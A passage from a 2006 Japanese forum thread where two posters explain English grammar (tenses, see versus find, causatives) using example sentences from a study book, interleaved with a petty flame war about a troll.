26:反論の代わりに詭弁ということにしてすます

195 :勝手口 ◆KatteG.R4k :2006/12/08(金) 22:21:13
>>179
この find は、「訳しにくい」というより「訳す必要がない」んだと思います。
find を訳さなくても、主人公と視点が同化して、読者も一緒に find してると思うんです
(『雪国』冒頭のイメージですね)。

>>182
他の人と同じようなもんですが、こんな感じでどうでしょ?
I saw young people watching the soccer game on television.
「O C」の光景が視界に入ってきて漫然と眺めていた。
I found young people watching the soccer game on television.
「O C」の状況に出くわした。
I found she was angry.
彼女と話していて、あるいは瞬間的な仕草から、わかった/(はじめて)気がついた。
I saw she was angry.
第三者の説明で、あるいは彼女の行動から、わかった/理解した/納得した。

196 :勝手口 ◆KatteG.R4k :2006/12/08(金) 22:22:31
270.(過去完了形:過去のある時までの動作・状態の完了)
M2((when s v x)), / S / had not been / opened / M2((yet)). (文型:S V C)(受動態)

過去完了形は、「過去のある一時点を基準にした完了形」または
「過去のある一時点を基準とした、さらにその過去(大過去)」を表します。
どの用法であっても「基準となる過去の一時点」がはっきりしていないと使えません
(この点に関し、『英文法講義の実況中継』は間違った解説をしているので注意してください)。
該当箇所:
「§188 過去完了 (Past Perfect)」

when節内は、
S / came / A((to Tokyo)) / M2((for the first time)) (文型:S V A)


271.(過去完了形:過去のある時までの動作・状態の完了)
M2((Hardly [Scarcely])) / had / S / entered / O, //  (文型:S V O)
when [before] // S / burst / A((into tears)). (文型:S V A)

hardly/scarcely は準否定語なので、文頭に出すと倒置が起きます(例文196-200参照)
強調しないならこんな形。
S had hardly entered O when...
該当箇所:
「§188 過去完了、(1) 過去のある時までの動作・状態の完了・結果」
「§292-[1]-(10)」「§377-[2]-【14】」「§379-(3)」

hardly や scarcely がなくても、
「A when B」=「A、そのとき、B」、「A before B」=「A、その後、B」
と、順序どおりに読むと、パラグラフの情報構造をうまく理解できることが多いと思います
(B が旧情報でない限り、次にくる文は B に関わる場合が多い)。

197 :名無しさん@英語勉強中:2006/12/09(土) 00:59:38
エロうぜぇ

198 :西川口 ◆Im4lkGa4xk :2006/12/09(土) 01:18:03
>>196
>どの用法であっても「基準となる過去の一時点」がはっきりしていないと使えません
納得ですね。

>(この点に関し、『英文法講義の実況中継』は間違った解説をしているので注意してください)。

受験参考書の類は全部捨ててしまったので、どんなことが書いてあったか思い出せません。
「実況中継」は思い入れがある本なので、どんな説明だったか気になりますね。
じゃあ、捨てるなよ!というツっこみは無しでw

199 :西川口 ◆Im4lkGa4xk :2006/12/09(土) 01:18:56
>>195
いろいろ考えると、find の訳は、もしかしたら「!」だけかもしれないと
思い始めました。マンガ的に説明すると、頭の上に大きなビックリマ―クが
ポンと出た感じ。

I found many young people .... (!、若い奴らがいっぱい... )
I found she was angry. (!、彼女怒ってた)

200 :西川口 ◆Im4lkGa4xk :2006/12/09(土) 01:20:24
107の文
You are waiting. を不定詞で名詞化→ (for) you (to be) waiting
kept の目的語になって、for と to be が消えた形。
(あなたが待っているという状態を保つ)→待たせ続ける

keep は、ある一定の状態を保つというこです。動いてるものは動き続け、
止まってるものは止まったまま。そういう状態を維持するということ。

to have kept は副詞的用法

現在完了は、過去を引きずった現在を表現します。
過去のある時点から現在まで待たせ続けて、ごめんなさい。
過去のある時点から現在まで、客のせいで忙しかった。

201 : ◆IuJiIQCtrs :2006/12/09(土) 09:38:31
>>184
単に見るだけはlookだな。
seeは外部から入ってくる主に視覚情報を頭で理解することだからね。

そういう意味で「わかる」のseeとfindの違いを聞きました。
see:多少なりとも見続けてる(西川口氏)漫然と眺めていた(勝手口氏)
find:気付いた瞬間をクローズアップ、「!」(西川口氏)出くわした、瞬間的な仕草からわかった(勝手口氏)
どちらも言わんとすることはわかるけど、その表現は動作の表層部分しか見てないような...
僕が思うのはfindはその前提に行為者のseek、つまり捜し求める何らかのものがあってその事に関して何かがわかるという動詞だと思う。

彼女の行動/言動がいつもと違うとか何か思ってたのだろう。それに対して
I found she was angry.ああ、怒ってんだ(だからいつもと雰囲気違うんだetc...)。そこで合点がいく。
I saw she was angry.はそういう前後関係がなくただ見ていて彼女怒ってるなってわかっただけ。
そのいみで西川口氏の「!」や勝手口氏の出くわしたって表現はセンスがいいと思う。
尚勝手口氏は見聞きするの意味で取ってた。see thatの大半はその意味だけど、分かるの意味でも使われますよ。
I saw that the door was open.
(もちろん気付いたとも訳せそうな文ですが、ドアが開いてるのかな?って思ってて確認したら開いてたって文じゃない。それならfind
見たら若しくは何気にドアを回してみてああ開いてるじゃん、そこでドアに意識がはじめていく表現)

I saw young people watching the soccer game on television.
これも眺めてるだけじゃなくて、パブに入ってああサッカー見てるんだ、ただ状況を認識したんだけどそこまで。
I found young people watching the soccer game on television.
こっちは、サッカーで盛り上がってたら一緒に楽しみたいとかこのパブでサッカーの試合が見れるんだとか何らかの前提・期待があって
パブに入ったら、ああやってるな!って思いで若い子達がサッカー見てるのを認識したわけ。
>自分が自発的に探して
ってのはそういう意味だったけどちょっと説明がクソだったかなorz...
勝手口氏の出くわしたという言葉がいいけど、いろんな意味での「出くわした」があるし...いい言葉が浮かばない。

202 :名無しさん@英語勉強中:2006/12/09(土) 20:29:02
エロい
http://a-draw.com/uploader/src/up8049.jpg

203 :勝手口 ◆KatteG.R4k :2006/12/09(土) 22:25:49
>>198
俺もこの本には思い入れがありますし(3代目スレ858参照)、4回は通読してます。周りにも薦めてます。
ただ問題が無いわけではなく、特に、「過去形か過去完了形か」の説明と、
「形容詞+for+to の for は絶対『〜にとって』と訳してはいけない」という点(文法スレ278参照)
については、学習者を混乱させるものだと思ってます(というか俺は混乱してました)。
スレ違いになりますが、重要だと思うので一応書いておきます。

「過去形か過去完了形か」で問題となるのは、以下の設問の解説です。
(「時制の講義(2)」『英文法 TRY AGAIN!』p.54。ググるとあちこちで質問がでてます)

I 【lived? / had lived?】 in Paris for three years when I was a child.
(私は子供のころ、3年間パリで暮らしたことがあった)

正解は「lived」で、「had lived」は文法的に間違いです(小説など特殊な用法を除く)。
で、なぜ「lived」なのか、という説明が、
>「子供のころ」というのは過去のある時点を表す副詞(句)であることは間違いないですね...
>「子供だったころに」という過去の副詞節があるのですから、当然、過去形に決まっている。
となっています(p.55)。
これでは説明になっていないし、「ある時点」という表現はあきらかに間違いです。
この設問では、「when I was a child」だと「基準となる過去の一時点」にならない、
ということを示さないといけません。
(「パリでの3年間」は「子供のころ」という「過去の期間」の一部)

when節が「基準となる過去の一時点」を表していれば、過去完了形になります。
I had lived in Paris for three years when I got married.
(ttp://blog.livedoor.jp/eg_daw_jaw/archives/22512544.html)
He had been ill for a week when the doctor was sent for.
(『英文法 TRY AGAIN!』p.65)

204 :勝手口 ◆KatteG.R4k :2006/12/09(土) 22:27:37
272.(過去完了形:過去のある時までの状態の継続)
S / had not been / employed / M2((by the company)) / M2((two months)) // (文型:S V C)(受動態)
before // S / were / recognized. (文型:S V C)(受動態)

「語学力が認められた時点」が基準です。それ以前のことに関して、「2ヶ月間勤めた」を否定しています。
(「2ヶ月間勤めた、というわけではない」)
ちなみに、「2ヶ月の間、勤めなかった」だと(否定の作用域に two months が入っていない)、
「for two months」の for を付けないといけません(『ジニ大』not の項参照)。
まぁ、理屈よりもパターンに慣れておいた方が良いでしょうね。


273.(過去完了形:過去のある時までの状態の継続)
S / were / delighted / to v x. (文型:S V C to do)(受動態)
【直訳風】「子供たちは、長い間会っていなかった祖父母に会えて喜んだ」

「be+形容詞/過去分詞+to do」で、to不定詞が感情の原因・理由を表すパターンです(例文61参照)。
該当箇所:
「§122 形容詞と to不定詞構文、(4) 「〜してうれしい」型」
「§219 to不定詞の副詞用法、[1] 動詞を修飾する用法、(3) 原因・理由を表す」

to不定詞のところは、
see / their grandparents, {←whom...time} (文型:(S) V O)
whom節は、
They / had not seen / their parents / M2((for quite a long time)). (文型:S V O)
ってな形からの変形。
「会って喜んだ時点」が基準です。

なお、日本語では表現しにくいですが、関係詞が非制限用法なので、
子供たちは、存命の祖父母全員と会うのが久しぶりで、この時全員と会ったことになります。

205 :名無しさん@英語勉強中:2006/12/09(土) 23:34:25
山口の実況中継をネ申である西さんや勝さんがしてたと思うとうれしい。
小生はこの本で英語に目覚め、伊藤本につないでいったもんで。
チラシの裏スマソ。

>>201
頼むから消えてくれ><

206 :西川口 ◆Im4lkGa4xk :2006/12/10(日) 00:05:26
>>201
かなり微妙な話で、だんだん解らなくなってきましたw
とりあえずは、「!」もしくは「出くわす」で考えることにして、
それに矛盾する文章に出会ったら、ここで報告するとします。

>見たら若しくは何気にドアを回してみてああ開いてる
ドアをがちゃがちゃして開いていることがわかったという場合は、
I found the door was unlocked.
こっちかと思います。open はあくまで、「開いた状態」ですよね。


>>203
詳細な説明ありがとうございます。
確かに、過去完了を見ると、「過去のある一時点」を無意識のうちに探してますね。
それで正しいとわかって一安心です。

207 :西川口 ◆Im4lkGa4xk :2006/12/10(日) 00:07:14
108の文
My work is done. (私の仕事は終わった)不定詞で名詞化→ (for) my work (to be) done
get の目的語になってfor と to be が消えた形
(私の仕事が終わったという状態を得る)→終わらせる

*done は、do の過去分詞ですが、「終わった状態」という形容詞的に考えたほうがいいでしょう。

by は「〜のそば」という意味から→「明後日のそば」→「明後日までに」
by は期限を表します。明日、終わってもいいわけです。
till the day after tomorrow になると「明後日までずっとし続ける」感じ。

must は、自分自身が「やらなきゃまずい」と思っている。(内なる声)
have to になると、上司に言われたのでやらなきゃいけない、というようなニュアンス。(外的要因)

208 :”管理”人:2006/12/10(日) 14:42:29
>>203
なるほど〜。過去の一時点か〜。
しっくり来ました。
確かに実況中継の解説では意味不明ですね〜。

209 :名無しさん@英語勉強中:2006/12/10(日) 18:18:58
自分で、MP3にして、一時間に収めたCD作って、聞いてる。文法完璧なら力つくなコレ
たくさん英文読むより効率的

210 :勝手口 ◆KatteG.R4k :2006/12/10(日) 21:33:18
274.(過去完了形:大過去)
S / went / A((home)) / M2((after s v x)). (文型:S V A)

after節内は、S / had finished / O (文型:S V O)

過去完了形には「過去のある一時点を基準とした、さらにその過去(大過去)」を表す用法があります。
該当箇所:
「§188 過去完了、(4) 過去のある時より前の動作・出来事(大過去)」

「過去の過去」であっても、誤解が生じない限り、過去完了形ではなく過去形が使われますが
(「§183 過去時制、(4) 過去完了の代用」。例文258参照)、
after に限り、過去完了形を使うのが普通だとされます。
(江川 p.245。『実例英文法』§195C)


275.(過去完了進行形:過去のある時までの動作・状態の継続)
M2((Up to that time)) / S / had been staying / A((with his uncle)). (文型:S V A)

過去完了進行形は、現在完了進行形と同様、「継続」を表します(例文269参照)。
該当箇所:
「§193 完了進行形、(2) 過去完了進行形」

211 :西川口 ◆Im4lkGa4xk :2006/12/10(日) 22:51:18
109の文
this letter is translated into English を不定詞で名詞化
→(for) this letter (to be) translated into English
have の目的語になって for と to be が消えた形。
(この手紙が英訳されている状態を持ちたい) → 英訳してほしい。

get と have の違い
get は手に入れるという動的な言葉で、自ら動いて手に入れる感じ。
have は、持っているという静的な言葉で、労せずとも持っている状態。
つまり、want to have だと、苦労せずに、楽して手に入れたいという感覚があります。
本文は、上司からの命令というようなシチュエ―ションでしょうか。

into 〜 は、「〜の中に」が基本で、「〜に変化」という意味につながります。
I translated the letter into English.(手紙を英語に変化)→英語に訳した

into の「変化」がわかれば、未知の動詞を推測できる場合があります。

She ○×△ed him into a frog.
動詞の意味がわからなくとも、彼をカエルに変えたんだなと、なんとなくわかります。
○×△は、change や turn などの変化系の動詞が来ると想像できます。

I ○×△□ed my father into buying me a camera.
父をinto 以下に変化させたと読めます。
○×△□にtalk を入れれば、(説得してカメラを買わせた)

He drunk himself into an early grave. (飲んで早死にした)
He bribed the witness into silence. (金を渡して黙らせた)

212 :名無しさん@英語勉強中:2006/12/11(月) 19:22:25
その調子で解説頑張って下さいm(._.)m
エロも消えてやっと元の良スレの雰囲気に戻ってきまつたね

213 :名無しさん@英語勉強中:2006/12/11(月) 19:47:32
そういう事言うと来るからヤメレ
スルースルー

214 :名無しさん@英語勉強中:2006/12/11(月) 21:09:58
おk

215 :勝手口 ◆KatteG.R4k :2006/12/11(月) 22:19:57
276.(未来完了形:未来のある時までの予想される完了)
M2((Though s v x)), / S / will have read / O / ((through)) / M2((by...today)) (文型:S V O)

未来完了形は、「未来のある一時点を基準にした完了形(単純未来/意思未来)」
または「現在の完了・経験・継続の推量」を表します
(助動詞「will」の「単純未来」「意思未来」「現在の推量」に対応します)。
該当箇所:
「§189 未来完了 (Future Perfect)」

though節内は、S / is / a {bulky→} book {←with ((over)) 1,000 pages} (文型:S V C)

「read through O」または「read O through」で「O を読み終える/通読する」。
目的語が人称代名詞の場合、必ず「read O through」の語順になりますね。
参考:
「§145 句動詞を作る副詞、(2) 動詞と副詞の位置」

「a week from today」で「(米) 来週の今日」
(「先週の今日」は「a week ago today」など)

なお、未来完了形は形がくどいので、口語ではあまり使われないそうです。
さらに、未来完了進行形はもっとくどいので、ほとんど使われないそうです。


277.(未来完了形:現在の完了・経験・継続の推量)
S / will have seen / O / M2((somewhere)). (文型:S V O)

該当箇所:
「§189 未来完了、[注]2. 推測の〈will have+過去分詞〉」
「§204 will の用法、(5) 現在の推量」

216 :西川口 ◆Im4lkGa4xk :2006/12/11(月) 23:33:36
110の文
My purse and commutation ticket are stolen.を不定詞で名詞化
→(for) my purse and commutation ticket (to be) stolen
had の目的語になって、for と to be が消えた形
(私の財布と定期が盗まれるという状況を持った)→ 盗まれた

while は接続詞で、副詞節を形成

217 :西川口 ◆Im4lkGa4xk :2006/12/11(月) 23:36:46
111の文
We are informed of the events を不定詞で名詞化
(for) us (to be) informed of the events
keep の目的語になって、for と to be が消えた形
(我々が出来事を知らされているという状態を維持している。)

inform A of B (Aに知らせる、Bについて)
of 〜、〜について
remind A of B (Aに思い出させる、Bについて)と似ている

take place 起こる
直訳すると「場所をとる」→いままで存在しなかったものが場所をとるようになった
→ 存在するようになった → 起こった

218 :西川口 ◆Im4lkGa4xk :2006/12/12(火) 00:04:44
112の文
I found that I could make myself understood.
that 以下を「発見した」という内容。thatは省略。「!、理解してもらえたぞ」でもいいかな。

He understood me.
出口氏のサイトにもある通り、私(の内面)を理解したというより、私の話す言葉を理解した、ととらえます。
I can't hear you. (あなたの喋ってることが聞こえません。)
I believed him. (彼の話を信じた。)

I was understood. (私の話が理解された)を不定詞で名詞化
(for) me (to be) understood
makeの目的語になってfor と to be が消えた形。主語がI なので、me をmyself に変更。
I could make myself understood.
私の話が理解されるという状態を作り出せた。→私の話を理解してもらえた。

Did I make myself understood? (私の話を理解してもらえましたか)は、
会話にも使えて便利。

219 : ◆IuJiIQCtrs :2006/12/12(火) 11:21:08
http://www.google.co.jp/search?hl=ja&q=%22I+found+I+*make+myself+understood%22&lr=
When I was in Rome, however, I found I could make myself understood by speaking bad French with a Roberto Benigni accent.
During a visit to Normandy and Paris I found that I was able to make myself understood in conversational French and this confidence confirms the progress that I feel I have as a result of taking this course.
When I arrived in Tehran, I found I could make myself understood at the local grocer's shop by recalling a few words of Turkish.
http://www.google.co.jp/search?hl=ja&q=%22I+find+I+*make+myself+understood%22&lr=
I did find that I could usually make myself understood if I repeated or rephrased something a couple of times.

http://www.google.co.jp/search?hl=ja&q=%22I+see++I+*make+myself+understood%22&lr=
But from the response that I saw in those issues of El Productor that reached me I see I haven't managed to make myself understood.
But I see that I cannot easily make myself understood, because our minds are occupied with different things.
But I see I fail to make myself understood by you; let me try again.
I see I can't make myself understood here every other time. :) That's always frustrating for me! Why oh why everybody don't speak my language?
"I saw that I *make myself understood"に該当するページが見つかりませんでした。

綺麗に分かれたね。理解される事ができないことをfindするのはやはり重いということか?
findは過去として使われてるものが大半でseeは現在しか使用例が見つからない。
seeはそういう状況が見て取れる、その意味での理解。
現時点でどうやらそういう状況だと見て取れてるがその後はどうかわからない(努力してわかってもらおうと大概する)
その意味で現在形なんだと思う。
findは「発見」(どうかな?→わかった)。一旦分かった事がその後この流れで変化する事はないので
過去形(英なら完了)。


220 : ◆IuJiIQCtrs :2006/12/12(火) 11:30:35
ついでに
I have my purse stolen.とI have stolen my purse.の違いは何?

221 :名無しさん@英語勉強中:2006/12/12(火) 14:57:04
エロいい加減にしろ。
完全に荒らしだぞ。

222 :名無しさん@英語勉強中:2006/12/12(火) 15:16:40
スレ貢献してない粘着コテなんてスルーでいいだろ。
基本英文700選を解説する気ないなら、邪魔だから消えろ。

スレ違いだし、スレ進行を妨げるな。


223 :名無しさん@英語勉強中:2006/12/12(火) 16:03:06
良スレには、コテハンの荒らしは付き物だからな。
どこの板にも、そういう奴がいるよ。


224 :名無しさん@英語勉強中:2006/12/12(火) 18:41:24
エロは,ただの構ってちゃん.

スレ違いも甚だしい.
このスレの目的は,基本英文700の解説を通して学習すること。
それ以外の負担をかけ,解説を遅らせるなんて許されざる行為だ.

225 :名無しさん@英語勉強中:2006/12/12(火) 19:58:48
解説されてる方々に感動!
700を二度あきらめた弱虫な私ですがヤル気になりました
感謝です!!

226 :勝手口 ◆KatteG.R4k :2006/12/12(火) 22:11:12
278.(現在進行形:現在進行中の動作・出来事)
It / is getting / ((rather)) C. (文型:S V C)
S / think / <(that) s v x>. (文型:S V O)

that節内は、S / must be going / ((now)) (文型:S V)

進行形は、主語の動きが進行中であることを示し、「一時性」と「未完了性」を表します。
動詞の性質や付随する副詞によって、いろいろとニュアンスが変わります。
該当箇所:
「§190 現在進行形 (Present Progressive)」

「must be -ing」は、次の2つの可能性があります(安藤 pp.339-340)。
(1)「推量+現在進行」(主語は3人称のみ) 例:He must be lying.(うそを言ってるに決まってる)
(2)「義務+近接未来(取り決め)」


279.(現在進行形:確定的な未来・予定)
S / is leaving / A((for O)) / M2((on business)) / M2((next month)). (文型:S V A)

未来を表す表現の区別が重要だってのは、最近では入門書でも言われてますよね。
簡単に整理すると、こんなところでしょうか。
will:一般的。未来に関心がある。
be going to:すでにその時点で意図・兆候がある。
be -ing:計画・準備が整っている(例えば相手先もそのことを了解している)
現在形:(公的に)決定している(変更の可能性は低い)。

ちなみに、未来の話を続ける場合、最初の文で「be going to」や「be -ing」を使ったら、
続く後の文は、「先行する意図」や「取り決め」があっても、「will」を使うのが普通です。

227 :”管理”人:2006/12/12(火) 22:52:18
西川口さんがスピードアップしてる!?
一日に三個とは乙です。

勝手口さんは常に2個ペースを維持。
これまた乙です。

228 :名無しさん@英語勉強中:2006/12/13(水) 00:04:24
>>221-224
確かにそうかもしれないが解説していない奴等がエロに負担かけて解説を遅らせるなというのもどうかと思うぞ。

229 :西川口 ◆Im4lkGa4xk :2006/12/13(水) 00:10:34
>>227
基本は1日1個ですね、調子のいいときは複数やりますが...なかなかorz

113の文
本文を直訳すれば、「彼女の子供のために、すてきなおもちゃを買った」ですが、
この場合、「すてきなおもちゃ」は、子供の手に渡っているのだろうか。

He went to the station. (駅に行った)→駅に到着してます
He wnet for the station.(駅に向かった)→到着してるかどうかはわかりません

I gave a nice toy to her child. (彼女の子供にすてきなおもちゃをあげた)
*子供の手におもちゃは渡っています。

to には、目的に到達してる感じがありますが、for の場合は微妙です。
for は、目的(地)に向かってという意味になりますが、それだけでは、
そこに到達したかどうかはわかりません。

本文の目的(地)は、「彼女の子供」ですが、そこに到着してるかどうかは、
文脈によるとしかいえないのではないかと思います。

もしかしたら、買い物の途中かもしれません。
「あ―ら、奥さん何買ったの?」
「すてきなおもちゃ買ったのよ」
という状況も視野に入れておくべきでしょう。

そういう意味で、本文の「買ってやりました」というのは、誤解を生みそうな訳だと思います。

230 :名無しさん@英語勉強中:2006/12/13(水) 00:31:43
>>226,>>229
両氏乙です。

>>228
こいつがうわさのエロジャマイカ?

1ヶ月以上前に10文程を解説しただけで、それ以降は無関係のオナニーと自演しかしてない野郎が何を言うかw



231 :名無しさん@英語勉強中:2006/12/13(水) 00:45:56
エロにはこれ以上700選の解説して欲しくない。

232 :名無しさん@英語勉強中:2006/12/13(水) 01:16:19
エロのまとめサイトと、そこでのエロ流の解説に期待。


233 :名無しさん@英語勉強中:2006/12/13(水) 01:21:57
>>230
エロ叩きしてる奴も邪魔だって言ってんだよ
いっそのこと解説者とまとめサイトの管理人あとスレ発案者以外のレス禁止にしたらどうだ?

234 :名無しさん@英語勉強中:2006/12/13(水) 01:39:51
>>233
そういうマイルールは、荒らしを助長させるだけで効果ないかと。。。
ことを治める気があるなら言葉を選んだら、どうだ?
それとも、あんたが他の住民を煽ってた野郎か?

ちなみに、俺がエロ批判したのは初めてだ。
どっかの荒らしのせいでアクセス規制を受けてたんでね。

235 :名無しさん@英語勉強中:2006/12/13(水) 06:51:37
またいつもの初めてカキコ厨か。おまえもホントウザイよ。
自分の工作活動でアク禁受けてるなら自業自得かと。

エロがウザイなら昔誰かが言ってたように無視設定しとけよと。
アホみたいにわざわざコテまでつけてくれてるんだから。
あと解説2人とエロ以外は解説者賛美とエロ糾弾以外結局何も書いてないじゃんよ。
おまえらもただの気にった解説クレクレ君にしか見えないが。

236 :名無しさん@英語勉強中:2006/12/13(水) 06:59:02
>>235
もう少しまともな煽りができないのか?w

おまえ初心者か?わざわざageるなんて。荒らし宣言してるようなもんだぞ。

おれは、プロバイダー規制に巻き込まれただけだぞ。
アク禁くらったら書けないし、工作活動でアク禁なんかなるわけないだろw



237 :名無しさん@英語勉強中:2006/12/13(水) 07:16:11
>>235
また、いつもの人か。煽り屋は消えろよ。

>>236
分かってるなら、煽り返しするなよ。スルーしろ。粘着煽りされるだけだ。

238 :名無しさん@英語勉強中:2006/12/13(水) 08:34:35
エロもエロ叩きもエロ擁護も脳内あぼーん汁。
このスレの最初の方のような流れになる。

239 :名無しさん@英語勉強中:2006/12/13(水) 09:31:57
まあ所詮、コテも名乗れない名無しが解説と関係ないとこで煽ってるだけなので気にせずやってください。
俺も別にずっと覗いてるわけじゃないから、流れに乗れないこともある。止めたわけじゃないおーw


240 :名無しさん@英語勉強中:2006/12/13(水) 09:42:42
エロが出てくると毎回こうなるな。
名無し同士の煽り合いやエロの自演は十分だ。止めてくれ。
荒らしに反応するのも荒らしだ。

241 :名無しさん@英語勉強中:2006/12/13(水) 09:47:40
自己紹介ですか?

242 :名無しさん@英語勉強中:2006/12/13(水) 09:56:24
とりあえず>>233の案でやってみるか。逆効果だと思うが...

>解説者とまとめサイトの管理人あとスレ発案者以外のレス禁止

これで、お願いします。

243 :名無しさん@英語勉強中:2006/12/13(水) 11:00:45
質問とか出来なくなるじゃん。
あと解説者ってのは無論、解説者(エロ除く)だよなw

244 :名無しさん@英語勉強中:2006/12/13(水) 12:39:15
>>233も禁止

245 :名無しさん@英語勉強中:2006/12/13(水) 12:50:08
1人で決めるなよ。自演がばればれだぞ

246 :名無しさん@英語勉強中:2006/12/13(水) 14:26:36
>>243
スレ発案者だけど工口さんはOK

247 :名無しさん@英語勉強中:2006/12/13(水) 14:52:56
>>246
こいつ偽者じゃね?

こうなると、まとめサイト管理人様もトリップが必要になるなw

248 :名無しさん@英語勉強中:2006/12/13(水) 15:08:49
別にスレ発案が管理人なわけじゃねーじゃん

つーか、エロイラネつーのが大方占めてるんだからその方向で行くべきだろ。
つっても、アク禁とか出来るわけじゃねーけど。
というわけで管理人さん、エロの解説は除外してくれると嬉しいんだが。

249 :名無しさん@英語勉強中:2006/12/13(水) 15:42:27
>>248
意味わからん。

俺は、まとめサイト管理人のフリした荒らしが現れるんじゃねって意味だったんだが。
勝手口氏がトリップをつけた経緯を思い出しただけ。

エロの解説を外して、その部分を誰がやるんだ?
勝手口氏と西川口氏が名無し(エロの偽者)に狙われるだけ。
新参がやるにしても、さらに荒れるかもよ。

250 :名無しさん@英語勉強中:2006/12/13(水) 15:44:13
エロが解説続けた方が荒れるだろ。
お前みたいのがいるからなw

251 :名無しさん@英語勉強中:2006/12/13(水) 15:49:08
>>249
あ、そういうことね
俺はエロの解説がまとめサイトにあることが気持ち悪いから
勝手口さんにでもやって欲しかったんだが、その場合の名無しの荒らしは確かに恐いねw

252 :名無しさん@英語勉強中:2006/12/13(水) 16:04:38
>>247
別に管理人は書き込みしなくていいからトリップもイラン
解説してくれるわけでもないし

253 :名無しさん@英語勉強中:2006/12/13(水) 16:11:35
>>252
まとめてくれてる方に、そんな言い方ないんじゃないの。
それとも煽り君か?

つまり表現を考えろってことだ。

254 :名無しさん@英語勉強中:2006/12/13(水) 18:01:15
>>250
自己紹介だよね?
続けるも何も、エロは解説してないし。

255 :名無しさん@英語勉強中:2006/12/13(水) 19:51:07
話がすすんでるなw
俺はエロ市ねに一票。

256 :名無しさん@英語勉強中:2006/12/13(水) 20:29:11
>>254
してるだろうが
前スレ見てから文句言え低脳屑二度と来るな

257 :名無しさん@英語勉強中:2006/12/13(水) 20:41:33
>>256
いい加減うざいよ。エロ擁護の煽り屋。

皆様、こいつは徹底スルーでお願いします。
どんな理不尽なことを言われても、乱暴な言葉遣いで喧嘩売られてもね。

反応したら負けですよ。

258 :名無しさん@英語勉強中:2006/12/13(水) 21:01:11
エロ叩きの煽りもいるんだよな。
罵られても我慢、我慢。

ただ荒らすのが目的だと思われるので。

259 :名無しさん@英語勉強中:2006/12/13(水) 21:02:09
>>257
何だこのレッテル貼り?
ちゃんと確認してきたのか?
そこでエロが解説してないというんだったら即座に消えてやるよ。

260 :名無しさん@英語勉強中:2006/12/13(水) 21:23:43
最近好んで使うワード
>>168>>241>>254
特徴
>>151

ありがとうございました

261 :名無しさん@英語勉強中:2006/12/13(水) 21:24:05
エロは英文20から解説したぞ

262 :名無しさん@英語勉強中:2006/12/13(水) 21:26:30
エタのせいでまた荒れたorz。
折角またいい感じだったのによ

263 :名無しさん@英語勉強中:2006/12/13(水) 21:29:25
これもエロの自演か

264 :名無しさん@英語勉強中:2006/12/13(水) 21:39:31
>>6
姿慎め

265 :名無しさん@英語勉強中:2006/12/13(水) 22:21:44
700選に関する話題でなかったら出て行ってちょうだい
迷惑だわ

266 :名無しさん@英語勉強中:2006/12/13(水) 22:25:11
>>265
同意。

267 :名無しさん@英語勉強中:2006/12/13(水) 22:26:52
>>265
あなたの迷惑なんてどうでもいいです

268 :勝手口 ◆KatteG.R4k :2006/12/13(水) 22:31:02
3つはやっぱきつい...


280.(現在進行形:現在の反復的な動作)
S / is ((always)) finding / fault / A((with others)). (文型:S V O A)
Is / S / C / (S')? (文型:S V C)(疑問文・修辞疑問)

進行形は、活き活きとした描写をするものなので、話し手の感情がこめられる場合があります。
always などがつくと、「想定以上に回数が多い」という感じで、非難や驚きを表します。
該当箇所:
「§190 現在進行形、(3) 現在の反復的な動作」

再帰代名詞の強調用法については、例文217参照。

269 :勝手口 ◆KatteG.R4k :2006/12/13(水) 22:31:58
281.(過去進行形:過去のある時に進行中の動作・出来事)
S / was walking / A((in the park)), // (文型:S V A)
when // S / heard / O / C. (文型:S V O C)

過去進行形は、現在進行形とだいたい同じように使われます
(ただし、過去完了進行形の代わりに「継続」を表す場合があります)。
該当箇所:
「§191 過去進行形 (Past Progressive)」

この例文は、例文271で言った、「A when B」=「A、そのとき、B」のパターンですね(B が新情報)。
重要なのは、「カンマの有無」ではなく、「B が旧情報か新情報か」です。
該当箇所:
「§292 時・場所の副詞節を導く接続詞、[1] 時の副詞節を導く接続詞、(1) when」
(江川 p.152, p.211。安藤 p.604)


282.(過去進行形:過去の反復的動作)
M2((Every morning)) M2((when s v x)) / S / was staring / A((at him)). 文型(S V A)

when節内は、S / was having / O (文型:S V O)

「所有」の意味じゃないときの have が進行形をとれる、っていうのは有名ですよね。
該当箇所:
「§195 ふつう進行形にしない動詞、(1) 状態を表す動詞」

文頭の M2 M2 の並びは、「漠然→具体」という語順のルールによるものと考えられますが、
文法的な理屈はよくわかりません。決まった形として慣れておくのが良さそうです。

270 :西川口 ◆Im4lkGa4xk :2006/12/13(水) 23:17:40
114の文
are said to ... (...すると言われている)
断定的な言い切りを避けたいときに使う曖昧な表現。挿入句的な感覚。
Americans regard ... と言い切るにはちょっと自信ないな、という時に使える。

Americans .... regard (the amount of ...) as (a criterion of ...).
regard A as B (Aを、Bと同じと考える)
as は「同じ」が基本。この場合は前置詞。
(稼ぐお金の量)を(能力判定基準のひとつ)と同じと、アメリカ人は考える。

a man makes の前は関係代名詞の省略

a criterion (基準)*複数形は criteria
a は one of them なので、「基準のひとつ」という意味
the criterion とすると、「唯一の判断基準」となり、「アメリカ人の判断基準はお金だけ」
という意味になるので注意。

Love is the reason to marry. (愛だけが理由)
Love is a reason to marry. (愛は理由のひとつ)
↑テレビの「ハ―トで感じる英文法」で見た覚えがあります。

271 :名無しさん@英語勉強中:2006/12/14(木) 00:35:13
結局1人が多人格でわがまま言ってるだけってことでいいね。

272 :名無しさん@英語勉強中:2006/12/14(木) 00:38:36
また、そうやって蒸し返す。しかもageて。

この話は終わりでいいだろ。

273 :名無しさん@英語勉強中:2006/12/14(木) 00:50:17
どう終わりなのか言ってみろよ。またいつものわがままが明日も来るぞ。

274 :名無しさん@英語勉強中:2006/12/14(木) 00:58:41
来るなら来るで、しょうがないだろ。
おまえが、わざと呼ぼうとしてるのが気に入らない。
話題ふったりageたりな。

以降レスすんなよ。

275 :名無しさん@英語勉強中:2006/12/14(木) 01:43:04
オマイがな。
とりあえず本人が行くぞって断言してる事だけわかった。

276 :名無しさん@英語勉強中:2006/12/14(木) 03:56:35
今度はエロの自演予告かよw

11月2日に2章の10文を解説して以来、自演しかしてないくせに。
しかも雑で意味がない。あれじゃ他人が解説できないように邪魔してるとしか思えないな。

2章は放置しておいて、最後にやれば、いいんじゃね?エロがやった部分もやり直しで。

277 :名無しさん@英語勉強中:2006/12/14(木) 04:12:40
なんで>>271が1人が多人格という結論出してるのが謎。
しかも、それでいいねとか言うか?
>>273の、いつものわがままも謎だ。どいつのことだ?
>>275の本人が断言もな。それが分かったと断定してるし。

どう見ても、自分で荒らしておいて他人のせいにしてるとしか思えない。
